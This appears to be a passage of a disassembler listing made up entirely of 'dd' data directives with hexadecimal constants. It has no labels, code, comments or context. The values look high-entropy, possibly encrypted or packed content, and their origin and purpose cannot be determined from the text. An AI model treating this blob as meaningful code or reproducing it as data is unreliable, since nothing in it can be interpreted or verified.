		dd 693C042Ch, 6A45730Bh, 4A265826h, 0A2C68532h,	3E01D38Ah
		dd 5A2B3C78h, 0D574721h, 43D4E354h, 0D05FA082h,	1C4AFAABh
		dd 0CE52F730h, 5EC46281h, 77988777h, 0D898D06Ah, 0F9A3FD3Eh
		dd 6BD023F5h, 9DF640FCh, 245A5C74h, 0CC0F501h, 0F0275924h
		dd 3070EF65h, 0D7F68301h, 0A2375266h, 0E96B0C20h, 53F65C6h
		dd 53411D68h, 95450074h, 83524C20h, 0D507FDA2h,	75DA8308h
		dd 5F1B0C01h, 0DBF7114Eh, 6EE91925h, 0FB4123F9h, 0F73D0899h
		dd 0A4C49D86h, 79F5E4Ch, 772166FAh, 6438ACC2h, 0C485EE3Ah
		dd 83E089CBh, 0E40E697h, 534C96AFh, 173C841Ch, 6809A38Ah
		dd 5A6458ACh, 0F8BBE6E6h, 54AD230h, 4B7E3378h, 0F6045AEh
		dd 674E3626h, 15719063h, 257CDBE9h, 4AECE255h, 206D7FE1h
		dd 829F6033h, 6083B18Ch, 0EC0B313h, 0D1F605E1h,	7E39CE4h
		dd 0EFF2CF28h, 30BB60A3h, 685B0AF8h, 67CB46ADh,	21129253h
		dd 1D8D5979h, 0F07640D7h, 0B837C096h, 943C4325h, 58C5833Ah
		dd 9530E956h, 0F46DDD1h, 29E344Ch, 0E93ADA76h, 0BCA734FAh
		dd 908E554h, 0FA431AB2h, 4C6A7178h, 290215EBh, 500EFCD8h
		dd 22C906Dh, 0B3F71ECBh, 3754F021h, 566EB88h, 805DEA31h
		dd 4F7B64C1h, 8C012628h, 407B1E59h, 9D6F2C87h, 5818D064h
		dd 0C65B4587h, 5F4B1592h, 2BE58EC4h, 0E23C52E1h, 67EF375Bh
		dd 0ABA768EDh, 0FD5C0441h, 3729B800h, 48486D70h, 282E0402h
		dd 71C023CAh, 2F5D1690h, 0BC040932h, 3D6ED11h, 5174EDC6h
		dd 0CCCEB01Ch, 2286666Dh, 0BE00C183h, 343064Eh,	7D5EF001h
		dd 2C00E5Ah, 35D26E68h,	64CDD4A4h, 94CA3E4h, 5920CCE9h
		dd 35148129h, 8FF3E05h,	0BD094DEh, 0CCC82966h, 2180BFB2h
		dd 0EABEA4F8h, 6856801Bh, 0EB12AF04h, 1DC35E7Bh, 9B0F40ABh
		dd 4C117ED2h, 9D412345h, 0FF2A0806h, 55B0B69h, 0D5CBE9EBh
		dd 1D2A1FFh, 38BF75ACh,	9CBCA65Eh, 0B83E431h, 816ACE57h
		dd 4BA8507Dh, 12B55A3Dh, 36510428h, 661ED844h, 7DAB0F28h
		dd 98453544h, 13E0EDDh,	0F5C06FB8h, 667E85A9h, 63F5E94Ch
		dd 0B9C30442h, 63226DCFh, 16413B03h, 0C1E15D54h, 5C76504Fh
		dd 37FA8C05h, 98517B3Fh, 0C2377C3Bh, 7E6018EFh,	42E30C08h
		dd 6C49C927h, 0ED6A2024h, 0A7D3013Bh, 0A10909EFh, 1C570995h
		dd 0CE5AD352h, 0BECE26C0h, 0D3E79D78h, 50F7495Dh, 2D48BACCh
		dd 9DA0DE70h, 0E844A4A9h, 0B8C40A98h, 93140FB2h, 5641D5A7h
		dd 17FE09E6h, 0E35E3286h, 48CAC308h, 0CE023B25h, 89757411h
		dd 38A09FE1h, 0F97F5042h, 0B329C99Ch, 9C8290Bh,	0C12B4A94h
		dd 558102A2h, 1E5051CEh, 0ED412027h, 0D817A678h, 1E09F101h
		dd 2CE7AA69h, 1DE9D964h
		dd 6FE814Fh, 886C8BC2h,	69F08DF9h, 8336FF4Bh, 0A9C9DE0Ch
		dd 0C61C2B46h, 2503BC8Fh, 1139F040h, 4C57583Dh,	441C501Bh
		dd 0DA99413h, 0BFF499A1h, 0E1D133Bh, 43930906h,	5C130C79h
		dd 7F10FAB2h, 0F9311D52h, 175607D2h, 0A2D52894h, 0CA4BB98Bh
		dd 0EB6809A7h, 43EA9A27h, 4061F3E1h, 0C17EAA13h, 3768582Dh
		dd 93726222h, 0E630F329h, 5329A820h, 5E420E9h, 263BB538h
		dd 0A99CC0EEh, 8904F00Eh, 1368135Ah, 0FB4EB142h, 0C7B26801h
		dd 967554E9h, 4651233Ah, 8F4E637Eh, 8E4E01C2h, 8AF0C2F4h
		dd 917F0EAh, 15D912Bh, 8824470h, 72F101CBh, 0CA1302DCh
		dd 0CAFE593Bh, 490D4811h, 634BE400h, 0E925015Eh, 96282D5h
		dd 0B9C9C0C3h, 50751F76h, 5A1B8984h, 0C5CB5351h, 7CE90951h
		dd 0DA0168E0h, 0E9FACDEBh, 0CC267C6Eh, 95020CBAh, 2B12569Ah
		dd 259EB65Eh, 97ADE4A7h, 755BD529h, 17D8208h, 0B652E0D0h
		dd 724BE81Ch, 93FB21DEh, 0B640DE67h, 0AD3C8EC9h, 150903Fh
		dd 44184517h, 8103FCE9h, 0CE0F6CFh, 412B3FEBh, 0E159D39h
		dd 104F201Ah, 0F944FE80h, 5EC19A41h, 9685376Ah,	0CD056BD8h
		dd 6B851D19h, 0E2350F80h, 1AE24D9h, 3CE44F8Eh, 0BB3C2FCh
		dd 0AE16B94Ah, 0E96112B4h, 0C8692349h, 0C8BF0FC0h, 7A486B68h
		dd 46E9C25Dh, 0B441EBBCh, 3194704h, 0D18CC280h,	26545F65h
		dd 0F0A51C81h, 6D05F69h, 6882DD94h, 0BDA258A1h,	95D9Dh
		dd 6982EAC7h, 313B48C6h, 2C357C00h, 7E2C13Ch, 2B1564Ch
		dd 31689D8Dh, 4BD979F2h, 8D4158E2h, 88206A08h, 0FF38143h
		dd 65230910h, 994A51E6h, 483CE103h, 0B3C15BB5h,	0C6123B06h
		dd 50621482h, 0C350E6E9h, 33A9079Dh, 253B9A39h,	0E5E257B4h
		dd 1274ACB5h, 0F39268h,	2967BE00h, 0EE83377Dh, 83C10139h
		dd 47FE8705h, 0F7219F31h, 642CBFE9h, 0AE985C2Fh, 2FFCC80Fh
		dd 0DE647B4Ch, 389C08h,	7F1BE035h, 0DE092D18h, 4278D732h
		dd 0A8A6C049h, 7C703B03h, 61CAEE01h, 0D8016994h, 8FBCD3E9h
		dd 0E654BB01h, 0DDF1C709h, 5F942F41h, 443E373Ah, 80895756h
		dd 0BC600031h, 27641E8h, 99744DA2h, 603A074Dh, 3F18196h
		dd 10AF7B00h, 0E9A5F35Eh, 0A77D56E7h, 3D84EB94h, 50DAD170h
		dd 0BC603F16h, 48F84CBEh, 0E33AA13Ah, 5582B10h,	26535EFEh
		dd 0A0CC63E5h, 0B207165h, 0E74DE945h, 0CCF81CA4h, 0F70681F5h
		dd 6A6D7568h, 0ABC30B0Ch, 36231522h, 87160E65h,	0CDCC0601h
		dd 713004C4h, 0C0425A62h, 8ECF3F92h, 0A689D4Dh,	0ABD68956h
		dd 0C0CECB3Ah, 0B4E28009h, 0E9FFB600h, 3180712Ch, 89581EC7h
		dd 130C8BFDh, 5CF99AA9h, 0CE210917h, 6602BA67h,	31A1D04Bh
		dd 0D30694DAh, 0DB533F06h, 5BF65B87h, 0A3E91217h, 83258970h
		dd 7F771FBCh, 0CC21F111h, 8A5B3F66h, 99680AE2h,	3B88FF48h
		dd 9222C77h, 6864F0E3h,	544A6812h, 0B95849E3h, 0E200C75Ah
		dd 9AC61F2Ah, 0C0CA95B6h, 2A6C94A7h, 588D7E9h, 0B7514ABDh
		dd 7D4EC035h, 6648EA2Eh, 7FC30100h, 0EE899CA1h,	25F28660h
		dd 0EF8920E9h, 0B4024296h, 301FB10Fh, 0F6D096E1h, 178DD2C8h
		dd 666B13BFh, 0CDFC3331h, 0D188029Dh, 101867E2h, 3DC2A4EFh
		dd 65510759h, 99BED59Ah, 0A71C6CB4h, 0B3CAEBF4h, 0B925E449h
		dd 0B44CE98h, 14B6C04h,	0AAC052CDh, 2190543h, 0E07BA42h
		dd 66D40975h, 2D822E30h, 1340429h, 0E1C2E9D5h, 0A1EF2253h
		dd 8D48C201h, 8A704BC9h, 0D46510C9h, 8354075Bh,	0A851E9C6h
		dd 203FE989h, 18885C78h, 5B51CA58h, 0B8F56224h,	59C33102h
		dd 0B0B2AAEBh, 2502425Ah, 0F624EBD2h, 0E4801C37h, 0A0ECCE74h
		dd 30FCF4C0h, 22C858E2h, 818913BBh, 6FE06946h, 0D359CE60h
		dd 80B28914h, 0DEE78151h, 0A04CA445h, 6E298ECh,	0B0E9E81Ah
		dd 8095A9FAh, 1B57C3DFh, 29E637FEh, 0C3807BAAh,	4AD108AAh
		dd 70C7BF04h, 0E5AC536Ah, 86011850h, 3FFE1B48h,	5FFA87FDh
		dd 8782D389h, 62057E52h, 0C5F425CCh, 0E5D301E2h, 0DBF78993h
		dd 4EC19A81h, 447ECADDh, 86688729h, 90C6A83Ah, 0FC00D4Eh
		dd 4F83685Bh, 0A1298C51h, 90C8EF4Ah, 0C2BE9C5Ch, 41748F58h
		dd 3B791885h, 59CA0180h, 7A4A0277h, 0EAC1D2F7h,	0DFC2C7C0h
		dd 5E696473h, 0C1A0212h, 93B8185Ch, 0F9F37812h,	7758390Eh
		dd 66A50044h, 0F0910116h, 6171B22Ah, 44B5AF6Fh,	0B23A445Bh
		dd 98553E40h, 10542743h, 0E205B364h, 12152899h,	20464FC0h
		dd 296C2465h, 20BF1E88h, 3F17BB05h, 0ED013789h,	0C876C0EDh
		dd 1E20DDE1h, 58DC409Fh, 87D32913h, 4D70B104h, 720E64A3h
		dd 18D39363h, 48DD6812h, 31D46F01h, 0F3895AD6h,	56CD332Ah
		dd 0EA76E6CAh, 2293C1FAh, 0E98F093Dh, 163F45C8h, 0F2125EF0h
		dd 1DC16D2Ch, 18E906EFh, 0CCED5F3Ah, 3217C18h, 2F658E0Ch
		dd 2636BADh, 0C081A95h,	0B1E91401h, 0C919240h, 0DEC8EC24h
		dd 0A8EF488Eh, 0EA40288Bh, 9A325BAFh, 8558EB61h, 9E4AF4C6h
		dd 0AB02E6ADh, 4043D776h, 765F281Eh, 9109493Bh,	2762CF00h
		dd 8AE970B3h, 0C437CC6Eh, 0CE92B7ABh, 4DFDE0C1h, 239B81Dh
		dd 0F240FD6Ch, 0C940CF01h, 521E06C7h, 0F7527145h, 6008B310h
		dd 0B613170Ch, 5E9DC964h, 0EBDF43B8h, 9257993h,	130B64DFh
		dd 0A3CFEAE9h, 72464A81h, 9D18B695h, 0B89CA514h, 5BBA574Ah
		dd 51845AC7h, 783AC3h, 35D0F73Bh, 60971CDBh, 675B5CF8h
		dd 0DA59798Ah, 0C0773332h, 5613E4FCh, 326E5ACDh, 0D0681ADCh
		dd 779E055Fh, 994E66E9h, 0F8094BFEh, 0D76890E0h, 7EB561Eh
		dd 0C861AD8Bh, 125ADED1h, 7454A52h, 0F75DD825h,	79F56136h
		dd 3337E13Ch, 0BD1E4E5Eh, 0A532630Ch, 69D790CEh, 4EC1E36Dh
		dd 29042A11h, 0C080C329h, 0C5FE75AFh, 0B319CD48h, 5740D24Ah
		dd 0B6B25266h, 9F0870E9h, 5E4E4B18h, 28D78880h,	82BC5A66h
		dd 8B922F7Dh, 0DBD4AE3Ch, 2602F264h, 9DF85F66h,	0E6C0F24Ah
		dd 7A9C290Ch, 9138FB46h, 8B73DC4Fh, 0A2C2DEFh, 0A972C168h
		dd 0C4D2988Bh, 4A7BFA3Fh, 2F34313Eh, 32233B61h,	9B267283h
		dd 0AEEC2DFCh, 0FD8CB690h, 494DC798h, 72597698h, 22CA4CD8h
		dd 58DEF702h, 0D1D34E43h, 0BB538EAh, 0E996684Fh, 6620E42Fh
		dd 5479A177h, 8A270F20h, 3903EC80h, 1FF843E8h, 1D23424Bh
		dd 1C1E0756h, 0F279EF40h, 7871B527h, 2490C9CFh,	3DCD3382h
		dd 58AFA042h, 2589979Bh, 53420B54h, 0D6010045h,	8538EE81h
		dd 9748BE2Ch, 58B3D951h, 9730156h, 5C4FE9E2h, 55985251h
		dd 0CE48FDD4h, 3EEBEF53h, 30474861h, 1F1FC454h,	203B7450h
		dd 0E05F4DF9h, 0D115689h, 7261195Eh, 68CA022Eh,	84CC38BAh
		dd 0C216EF86h, 0E6D277E9h, 5654141h, 0B01642Dh,	1759E0Dh
		dd 5D7783FEh, 383AC345h, 4890C0Ch, 0C6F9583Eh, 2E95C41h
		dd 24807864h, 276535EFh, 28BD71C1h, 0EB90D667h,	0ED8DE950h
		dd 1E3D6800h, 0EF2918BDh, 17CB002Ah, 39A8E381h,	0E9176291h
		dd 2C5C12F2h, 4D175926h, 0D302B513h, 8426B652h,	2D1F51D6h
		dd 844F0C44h, 0F3282102h, 3B15C5Ah, 0DEB15152h,	4A7AB4FAh
		dd 7B3EC503h, 0E331E446h, 0D688F25Dh, 0BB530045h, 11C71D94h
		dd 4D3F737h, 664E2BF2h,	9F87449Fh, 0E9F0729Eh, 127B9632h
		dd 20B0F64h, 0F5B2EE2Eh, 0BD36DC11h, 3A8525BDh,	873D8DF1h
		dd 929F8DE5h, 0F82D0780h, 49B36648h, 0B396484Ch, 2C214C21h
		dd 871262C0h, 4062F60Bh, 5AC38069h, 91C22C11h, 68048E96h
		dd 39980C9Ch, 5A0B01ABh
		dd 431D2569h, 0C505D4F6h, 3FB92302h, 0E02DE8D1h, 2C548569h
		dd 17CAC701h, 8ECA2032h, 7A0BC84Bh, 105E7C1h, 905DA0BEh
		dd 4ADFF041h, 0A4E4126Ch, 0E912552Fh, 29AC7409h, 1443E5C4h
		dd 0B7685880h, 9782746Fh, 9551F2E3h, 935E002Ah,	0E8FB850h
		dd 0DC34BB26h, 1E4AF510h, 0C4C90AC9h, 0E4EE82D3h, 2FDEB757h
		dd 508B3D15h, 0E203F7A6h, 5833B034h, 69A3F25Eh,	80D4B460h
		dd 0FE0E39CCh, 53D4F680h, 66E9CBB3h, 0A4CF7258h, 40B35AFh
		dd 52DCABAh, 0ABC2EEC1h, 0A4496A79h, 0D3EC58A4h, 0EF6053A2h
		dd 5948391Dh, 0C0183CC2h, 68CF0B29h, 1F306AC7h,	0A8A28F3h
		dd 29090BA5h, 825F1225h, 41510219h, 4E2261B2h, 66A601D3h
		dd 0D2449BBDh, 6053B141h, 0D5414A72h, 0CF8B4B3Ah, 29A58101h
		dd 1497FCFAh, 8BEBD7A8h, 508C8BBCh, 27C1DBECh, 99685158h
		dd 9193C6D6h, 5EE942ECh, 0E618136Dh, 0D7744CB2h, 0A1524DF0h
		dd 8026CAAh, 2A41FEE2h,	102FBF10h, 184E3804h, 0EF5F1E8Bh
		dd 0FC0081DDh, 16745F2h, 1B31F9FDh, 0F75CBD23h,	0C917B416h
		dd 2546E11Ah, 3F317E1Dh, 46C557Eh, 82217C2h, 5F006F56h
		dd 4E1A1466h, 83D618F7h, 1EF67AEEh, 84E4AA3Ah, 6CE9F309h
		dd 0B1006ABCh, 58E128E6h, 8028D1F6h, 6328E1F1h,	900A59C5h
		dd 0C3656273h, 80AD8E01h, 0BEA5299Ch, 6B2F6202h, 13067C0Ch
		dd 0A143F723h, 0EFB830F4h, 3B7F4FE8h, 5C47EA06h, 10C7B97h
		dd 0AAE03C35h, 353F6FE9h, 442C7AD9h, 0BF7DF868h, 99902596h
		dd 8315A30Ch, 0F380C02h, 12F8408h, 8EB949Fh, 14BD5514h
		dd 5D0B293Eh, 4A601388h, 325A6268h, 3020B199h, 0DA02207Ch
		dd 0BB00C0D3h, 9A4CBEE7h, 874F5E15h, 0FFD4D162h, 3802B77h
		dd 0C04114Bh, 68B8E91Bh, 7E0FCDA1h, 6B776E3Bh, 76312AC3h
		dd 8713B60Eh, 727FE829h, 1B1F93A9h, 8301D003h, 3E718E2Dh
		dd 537D028h, 0E329BD0Fh, 45A4734h, 4BE9A2F0h, 55B1C37Ch
		dd 0FDCEC641h, 3648FA7Fh, 61092068h, 0F85B7B2Ch, 67E92D65h
		dd 5D582748h, 702404Bh,	418377DEh, 1F6F1E35h, 2F68C425h
		dd 6433AE46h, 5ECBD15Dh, 0AEC04438h, 0C1125703h, 8106E200h
		dd 0E11FC7F2h, 0AF92C050h, 0E9103547h, 581DD559h, 0F096DE3Dh
		dd 270F3D53h, 50560490h, 0B718A214h, 0B2520C36h, 0E2805E0Eh
		dd 0B0EA67A1h, 0C8BACA63h, 27E9FEF2h, 1A10082Ah, 3C5C895Ch
		dd 0D900D7BBh, 0E96D47BBh, 508B9D9Bh, 2F9047ECh, 7D297240h
		dd 392F0F1h, 5E0A3A43h,	0A9C2CA89h, 7001BF49h, 809D2902h
		dd 0F5C8ADFh, 1F05B70Bh, 924EB0A1h, 2A9AFBB2h, 656E3B91h
		dd 0C0D850E5h, 125861C5h, 9A7914A2h, 400B9E5Ah,	251E1C8Fh
		dd 9FD27776h, 0D7DE0882h, 51894CA6h, 9DE4E954h,	5BC6D961h
		dd 0A8B0A5C4h, 1495C108h, 5937B471h, 0BB9558ECh, 803D7FB9h
		dd 8149592Bh, 308246Ch,	6B1D2E6Dh, 107C5C29h, 480C4452h
		dd 70131076h, 0C5805D2Eh, 31D40C33h, 7F25E906h,	1E34418h
		dd 3BB95157h, 0FD330C13h, 7948EEF3h, 4E024468h,	4D5D6FDBh
		dd 81616083h, 2818E0F5h, 0A9735D5h, 0F45E121Bh,	0D1F789DDh
		dd 0B5307782h, 0A3E8B905h, 0FD9CD8Bh, 0E9584DA4h, 0F2259D25h
		dd 83D782F7h, 4E986ACh,	0E16AD00Ah, 9021087Dh, 1F92E91Ch
		dd 4AB25265h, 25EC5D27h, 28045E90h, 89275909h, 295430Ah
		dd 0D8A6F6D9h, 0A225E17Ch, 503CD3F5h, 87C55B68h, 8580E944h
		dd 4CDC6EF4h, 0C20432B8h, 733821A9h, 0DCB30FC2h, 281A8155h
		dd 20423F48h, 87E904DDh, 59AB362Ch, 200F5EE9h, 72DAFEEEh
		dd 89EC152Bh, 89692C8h,	0BE0215BDh, 57114596h, 30D57980h
		dd 0E91B1DC4h, 0E0202B0Dh, 0F9392788h, 0A2059E20h, 92527E07h
		dd 1736A98Ah, 0F18D6DCEh, 66F6120h, 5E92A6Bh, 942027F2h
		dd 4FE2F43Ah, 5114474Ch, 0B22CF732h, 0E75C4644h, 0F5552069h
		dd 0E64754Bh, 7A853CB8h, 2E54C2B9h, 5FE5B5D8h, 0D03A26ADh
		dd 0A840B91Fh, 2182E5AEh, 602949A7h, 9552763Eh,	0FDF21566h
		dd 2EC01040h, 3A5202E8h, 81B7DBB0h, 164B946Eh, 52E09F1h
		dd 80C201C5h, 9C4C898Fh, 4935265Eh, 3592DBBDh, 49888118h
		dd 0D36B7241h, 6C59842h, 0E0C082DDh, 0EBB8004Fh, 32DDEF7h
		dd 1CC78231h, 0B403DB53h, 5826F7E0h, 652E8038h,	1D81701Eh
		dd 0D73E1CE6h, 0BD320156h, 8055C360h, 90635C0Ch, 0BAF7E908h
		dd 1E7598E6h, 969AB450h, 80CC804Eh, 97B8D6EEh, 0EEE5A4Ch
		dd 0C3D7200Dh, 0FA03E7C0h, 64D140C7h, 8895D03Fh, 0DC059B38h
		dd 32D5836h, 47295E06h,	0B18BA8F5h, 0AB04025Dh,	14D2300h
		dd 7D891B20h, 0E7C12CEFh, 83C70054h, 0D11DB80Ah, 0D12021F9h
		dd 0C11EDC70h, 0F522ED61h, 6FDC026Ah, 3AD621h, 64A6F70Bh
		dd 0C4A20428h, 0DA13E8C5h, 0B69610A2h, 62402449h, 806906A6h
		dd 0BA232993h, 0C90B77Bh, 0E39A73E9h, 0A103A998h, 1FC364Dh
		dd 19AFE9D0h, 0B801246Ah, 0C6048413h, 207870F2h, 302517B6h
		dd 66E480C3h, 0B64FD068h, 0AC6E4227h, 0B08BF909h, 902BD892h
		dd 57B625Ch, 47343769h,	5CBB8BD0h, 503E24C9h, 8B4C1943h
		dd 70E3721h, 3108E8C1h,	2512C5B9h, 0D09581Bh, 7EE210E9h
		dd 0DA6E4EE4h, 0E85AD5A4h, 8D8A5EEAh, 0AB000A4Ch, 0E94DF907h
		dd 1DD24AC4h, 0CE5EDFECh, 3A0645E5h, 3E405B21h,	5431C38Bh
		dd 3558AE40h, 5326C298h, 0DC09F47Eh, 8F5A7966h,	0D6645257h
		dd 0A402ACC3h, 0F8C261D2h, 0D00D01FEh, 5605F774h, 3F9BF8BEh
		dd 0A409A15Eh, 0A0C52701h, 0CC120A8h, 1FB3624Eh, 3A1791DEh
		dd 374214DCh, 0EC7B9B68h, 7C2E17BCh, 338EB884h,	0BAD11B30h
		dd 2CEB5E1Bh, 0F1393A29h, 0B72527C8h, 0C7483AC1h, 0B4E8EABAh
		dd 593ACB88h, 16D53B58h, 0D20C66DAh, 954FDBDDh,	48480F44h
		dd 0E10B0036h, 59E9D3B2h, 0B7249728h, 8F057402h, 0AC5663D0h
		dd 0FCCF2598h, 770B59BBh, 0BD1E6828h, 48855E8Fh, 82F81DF5h
		dd 1332C91h, 4D4279C2h,	10C080Dh, 2C98E914h, 0FE3112B5h
		dd 7960C741h, 8460445Ch, 0A41E13E5h, 2D1AA902h,	0D5756804h
		dd 0C610340Fh, 0E9CFB46Ah, 0D7327830h, 1371F4F6h, 0E0895B61h
		dd 25522D79h, 2F075173h, 5BE9FD9Ch, 4C151DBFh, 290AAAC1h
		dd 52DE83Eh, 5D22DA1Fh,	25B217FBh, 87B70F08h, 0E9192EE0h
		dd 6FBADD94h, 60535127h, 27547004h, 82657712h, 120FC194h
		dd 8349FEE9h, 0C55B545Fh, 68F749D4h, 58DEA564h,	3C332306h
		dd 78F8050Fh, 0AC2943DDh, 680A909Ah, 0E5A5180Eh, 44E225A3h
		dd 641BDC41h, 0DB2CF79Fh, 0D51B3B87h, 26E60108h, 0E954BD5Eh
		dd 0CA123BBAh, 0E1513A32h, 0A005D503h, 6A403D93h, 5F6DFA59h
		dd 5C65CAEDh, 7C00E570h, 0C414C84h, 30421689h, 0E9DEE058h
		dd 59E81A25h, 855C171Eh, 59CE013Eh, 2023767Bh, 6F129B08h
		dd 3007586h, 98FCEAF0h,	8F70705h, 0A5011B41h, 5E070B2Dh
		dd 0A62058C6h, 5E885A09h, 509E922Ah, 36B59B51h,	5925F398h
		dd 0AF84D96Dh, 32BFB8E4h, 86B5D1EDh, 371A8DE9h,	2741F98h
		dd 8B3CDA98h, 6E25D85Bh, 88BA8710h, 1D183D7h, 0A73C96E9h
		dd 20AD9248h, 0D180B274h, 2D4248EAh, 9622C05h, 0E04D8778h
		dd 0E9A8027Bh, 33138C24h, 0B055A089h, 81C07787h, 0D044A04Ah
		dd 3F762E3Ah, 0BF24342Dh, 8C4FDB9Ah, 934AE922h,	8B4A85F3h
		dd 84D4956Ah, 98A02CD3h, 92A845F2h, 1789160Ch, 0E09E882Eh
		dd 47B325D2h, 7C762F9Ah, 422DCA99h, 97FC23D8h, 1F3F3668h
		dd 897E2B09h, 253456FBh
		dd 0D919CE58h, 0F32E410Ch, 0A4D8F249h, 360F8269h, 0B60F19E5h
		dd 0C7314ACEh, 6800B3A8h, 0C3B66E99h, 73C51262h, 9D288B7h
		dd 3DEABD01h, 8F70548Dh, 0F90F1787h, 0F178001Dh, 0F72A6F36h
		dd 66E9DD13h, 0CA714654h, 0C4D28350h, 7EE92D67h, 0F2F95FE2h
		dd 527C26A5h, 0B0E93CC7h, 0FC9D35CAh, 2F984A0Ch, 0B91ABFF7h
		dd 576214FBh, 0CC3A57AAh, 636A5CD6h, 0A566E110h, 5D6327C8h
		dd 0F8137972h, 97F3017Ah, 81063F61h, 80CAFE9Fh,	0D0C02EEAh
		dd 9D043F5Ah, 21C84E96h, 0A71511B1h, 0E64F5048h, 0ACE92FF0h
		dd 22453886h, 0AA1CE507h, 63300527h, 0F71E20h, 8D42DD0h
		dd 70253DF0h, 5C7A9AE6h, 1ABD2E02h, 64C52145h, 4FD86A02h
		dd 0E9C425BDh, 49F8CA0Bh, 52B00077h, 253A16BAh,	7BE20463h
		dd 0D2E8C789h, 4E240EF2h, 0BD08FC25h, 48BA015Eh, 7560836Bh
		dd 3F9FF4B3h, 21BBA29Dh, 8093FE29h, 0EABEC614h,	29B7D631h
		dd 0A9FF4981h, 0AD31C52Eh, 4FE9E076h, 0E031BF67h, 16C13BA7h
		dd 16343268h, 80AE4BE9h, 0C318BAC1h, 485B826h, 747E2A00h
		dd 0A2DA0126h, 59080B81h, 4FBA60Fh, 0ACD42C30h,	0FB443396h
		dd 1356E9C2h, 0D0FA01C8h, 0E90B083Eh, 0DA644EC6h, 84945A50h
		dd 96E6D105h, 8A04D609h, 3106562Bh, 51F4FDCEh, 8042D45Fh
		dd 505866F6h, 51DFFAADh, 0B3603C31h, 12157F73h,	1FFEA83h
		dd 5B236933h, 0AF2B6071h, 25F26518h, 3E60760Ch,	0CE022BEAh
		dd 3E8F39F0h, 73688A00h, 9EA0BF02h, 0B18BFD66h,	4C41029Fh
		dd 2640F264h, 0CF125023h, 0A80ACFE4h, 2CF3A132h, 30E0892Ah
		dd 82BEEFB9h, 0D00DB400h, 0EC4FEECh, 8006E4C0h,	0E1280AA3h
		dd 0C109E477h, 76C8300Bh, 545150A4h, 8025D2B0h,	93CCD3CEh
		dd 0D50D1D2h, 2D276B34h, 9F11EE86h, 11E45D66h, 2208BE99h
		dd 133025A6h, 92954F06h, 0FF1E5DF0h, 600FE916h,	3FC04646h
		dd 0C1554BFFh, 0DCCA01EBh, 0CFBAD2D5h, 4B127C4Ch, 1620A42Ch
		dd 944F4B14h, 0DC65AF68h, 0F56AD023h, 278CDE3h,	0C14C9C46h
		dd 0E58006E6h, 413E1A74h, 136EEE88h, 0E135B73Ah, 415E6A9Ah
		dd 0DFF6A171h, 949604BCh, 952420BCh, 41609050h,	46174940h
		dd 0FE29241Fh, 0A108200Dh, 6DC6F0DEh, 4F7B2CBFh, 6FC9E4F2h
		dd 0C92EA541h, 245EE927h, 3C00B60Ah, 0FE72EE80h, 0E4D6F6CEh
		dd 7CC079DEh, 61C62503h, 0FD206B58h, 791995D4h,	1054675Ch
		dd 115FF1C0h, 0A04FFD2Eh, 0C19253E2h, 0C30171B0h, 67BE74BCh
		dd 123EDCE9h, 0C92AAC7Fh, 0A00F11D3h, 77546564h, 1105335Eh
		dd 72E9550Eh, 31FD5346h, 52CC3385h, 0BC7AA9C8h,	515A691Dh
		dd 964426DEh, 9855902h,	5E526960h, 1EC9FF5Ah, 0AF41C18Bh
		dd 569A6151h, 8915607Ah, 35588030h, 0A51A7802h,	0E42C8B69h
		dd 0A4389766h, 56B24AE9h, 9EEE3E0h, 0E42845B6h,	42A2520h
		dd 899FDE35h, 3F6CA8EAh, 0EC1583BAh, 48CA3165h,	520550B0h
		dd 0EC40A7E9h, 0DD80B438h, 90E55B83h, 538125CDh, 12EBACCh
		dd 4388306Ch, 0F5412761h, 538F9F9Bh, 73444556h,	0BDE8D587h
		dd 5AE17D04h, 0A5488499h, 0F5916A68h, 902BF989h, 2C4A0C44h
		dd 6C04931Fh, 2AA7E34Bh, 7893CEBDh, 279F1450h, 52496169h
		dd 276C9560h, 4109B51Eh, 0F380EFDCh, 94F6EA37h,	9FDE5031h
		dd 0F0EBA663h, 2B0F6027h, 12874EC3h, 0DA3A297Eh, 0E9EA065Bh
		dd 81D3D82Ch, 2028CBB1h, 5CCA094Eh, 0FEB2A6C1h,	6680007Fh
		dd 72D48850h, 68E6E9F6h, 0B8BAEA7Eh, 192BD00h, 37081477h
		dd 63CBC147h, 1C2E57D0h, 503AA5Eh, 0D102541Ch, 82F6EF89h
		dd 767BE923h, 985F16F1h, 204D335Fh, 0C1DB9044h,	2055BD8h
		dd 5C87C776h, 68576CE9h, 0CC16DA27h, 19567BE6h,	682B7E2Dh
		dd 0D5122E17h, 10D629FDh, 8F5E530Ah, 8A904ED8h,	935DEA01h
		dd 26D78CF7h, 392968A1h, 3BCD810h, 66F854E2h, 0E35F15Eh
		dd 32F13388h, 0C6EB3421h, 0CD3EED11h, 9756C2F2h, 0E0C2432h
		dd 4C847670h, 0F7861C30h, 16BE2CA2h, 68474A4Dh,	77ED0AB2h
		dd 18300A80h, 4A90157Ah, 101C961Fh, 59B92992h, 7926C04h
		dd 0E4E9A11Ah, 23258FE3h, 7883F8ADh, 0CBD7027Bh, 0B2E9D821h
		dd 0F7DCCDCAh, 4AA8E978h, 0A714F465h, 6916370Fh, 21288181h
		dd 0D06A0D3Dh, 2B39C90Fh, 4155DE18h, 3071E50Eh,	0E82C07E4h
		dd 4B032237h, 6859CD21h, 0EF5FB60Eh, 0E4600BF2h, 0F410F29Fh
		dd 0E6D33193h, 6857133Bh, 0C6CB6FECh, 0FE013C10h, 0FC4052B0h
		dd 0AE835C1h, 0C4A3F848h, 6F8D5852h, 0F1830CC1h, 9A3AD3EEh
		dd 0F4F331C1h, 0ACBA3937h, 7B10D042h, 777948B7h, 3D0E3B37h
		dd 0F04F0170h, 0D0F9E875h, 1C6008EEh, 3E8614FBh, 5131FF27h
		dd 0C3BE407Bh, 627EBF1Ah, 3304789Ah, 172CB64h, 44C59C97h
		dd 9FE90C20h, 0B688D3B0h, 0E88F2577h, 12E3F214h, 80657F4Eh
		dd 48155A4Fh, 4A29E917h, 895884B2h, 0AC91C14Dh,	899CCADBh
		dd 0BF09C42h, 4065E79Ah, 14CDEE1Bh, 0BA1BF366h,	82B5B520h
		dd 91EA4A8h, 9D3C97F6h,	5A9CF130h, 31C9CB1Fh, 3CB1F1E1h
		dd 10A17F18h, 0C0E2CF80h, 7304EF3Bh, 0F73E0F79h, 58C73A28h
		dd 557D60FAh, 0C447DD68h, 0A2FA3F7h, 7F0BC8BFh,	8150C036h
		dd 301CEAF7h, 450C33FAh, 0C2D7D01h, 0D72EC089h,	7B9A45Ah
		dd 7CE917B8h, 0CC82801h, 395D5F09h, 3E0DEDFBh, 0C04C9C49h
